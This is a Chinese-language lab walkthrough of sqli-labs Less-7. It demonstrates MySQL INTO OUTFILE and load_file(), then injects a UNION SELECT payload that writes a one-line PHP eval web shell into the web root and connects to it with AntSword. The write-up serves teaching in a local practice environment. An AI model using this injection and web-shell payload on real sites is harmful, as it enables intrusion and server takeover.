前序

首先欢迎大家来到第七关,在这一关我们将开始文件的一些读写操作。同样再开始之前,我们要进行一些知识点的补充,从而让我们可以深度了解关于文件的一些内容以及操作。

补充知识点

配置文件

首先我们需要配置一下我们的Mysql的my.ini文件;有些人可能已经配置好了,所以在这里我们先用命令进行查询:

  1. show variables like '%secure%';

如果在这之前并未配置文件,则显示的结果为:
image.png

那我们需要在my.ini文件里修改,填上一句话:

  1. secure_file_priv="/"
  1. <br />添加的位置为:<br />![image.png](https://cdn.nlark.com/yuque/0/2021/png/2903465/1619575748871-d49a8be5-9931-427a-b363-7a75acc05777.png#clientId=uc89ccf4c-8762-4&from=paste&height=735&id=u2e5b9a15&margin=%5Bobject%20Object%5D&name=image.png&originHeight=735&originWidth=762&originalType=binary&size=61075&status=done&style=none&taskId=ufc6a27cc-2b92-496b-ba41-2e1bcacb01a&width=762)

再用SQL语句查询命令,得到结果如下,则配置成功:
image.png

一句话木马

关于一句话木马的知识请大家点击这里,去我写的上传靶场漏洞进行学习…在这里就不在进行过多的陈述。

补充两个函数

into outfile

用法:可以将数据内容写入到指定的文件中;
例子:我们要把数据123写入到第七关对应的文件里,并命名为test文件;
操作如下:
找到第七关的文件路径,然后添加到SQL语句中:

select '123' into outfile 'D:\\phpstudy_pro\\WWW\\sqli-labs\\Less-7\\test1.txt';
<br />结果如下:<br />![image.png](https://cdn.nlark.com/yuque/0/2021/png/2903465/1619576569964-f3aa43ba-07b6-4529-b6cf-92cc6fcd451e.png#clientId=uc89ccf4c-8762-4&from=paste&height=38&id=u870a7b84&margin=%5Bobject%20Object%5D&name=image.png&originHeight=49&originWidth=970&originalType=binary&size=8330&status=done&style=none&taskId=u475d940b-10ed-4694-91c9-64b92705b80&width=756.9915771484375)

打开文件进行验证:
image.png
成功写入!

load_file()

用法:读取本地文件内容
例子:读取上述所写入的文件内容
使用的语句为:

select load_file('D:\\phpstudy_pro\\WWW\\sqli-labs\\Less-7\\test1.txt');
<br />结果为:<br />![image.png](https://cdn.nlark.com/yuque/0/2021/png/2903465/1619576924039-b66363ee-3e0a-4e01-8203-813ceae28037.png#clientId=uc89ccf4c-8762-4&from=paste&height=155&id=ud572a7f6&margin=%5Bobject%20Object%5D&name=image.png&originHeight=170&originWidth=831&originalType=binary&size=15045&status=done&style=none&taskId=u51c2fe56-10ba-4aab-a0ca-516a12c8cdc&width=758.4999694824219)<br />成功读出!

正文

进入第七关!!!
image.png
在最开始,我们需要做的就是找到SQL注入的漏洞,所以我们在URL中输入:

http://127.0.0.1/sqli-labs/Less-7/?id=1

结果为:
image.png
可以看出,提示为使用outfile函数,在这里我们先不进行使用,我们继续寻找注入漏洞,所以继续使用URL为:

http://127.0.0.1/sqli-labs/Less-7/?id=1'
结果为:<br />![image.png](https://cdn.nlark.com/yuque/0/2021/png/2903465/1619577780974-3d544346-8432-4b0c-91c4-f4b1a86231d3.png#clientId=uc89ccf4c-8762-4&from=paste&height=515&id=uf924a4be&margin=%5Bobject%20Object%5D&name=image.png&originHeight=1030&originWidth=1920&originalType=binary&size=448859&status=done&style=none&taskId=u81395ebd-aee9-43fd-85f1-94274221d23&width=960)<br />所以我们可以判断出来,存在注入漏洞!<br />根据题目的提示以及分析,我们知道正确的格式应该为:(('x'));

在这里我们直接使用union select与into outfile进行查询,并写入一句话木马;
URL为:

http://127.0.0.1/sqli-labs/Less-7/?id=1')) union select 1,2,'<?php @eval($_POST["123123"]);?>' into outfile 'D:\\phpstudy_pro\\WWW\\sqli-labs\\Less-7\\1.php' --+

报错信息:
image.png
不要急于查看报错信息,我们进入文件夹查看内容,发现存在写入的php文件,并且写入成功:
image.png
进入创建的文件页面,复制URL:
image.png

使用蚁剑进行连接!
image.png
成功获取网站的webshell权限!
第七关到此结束….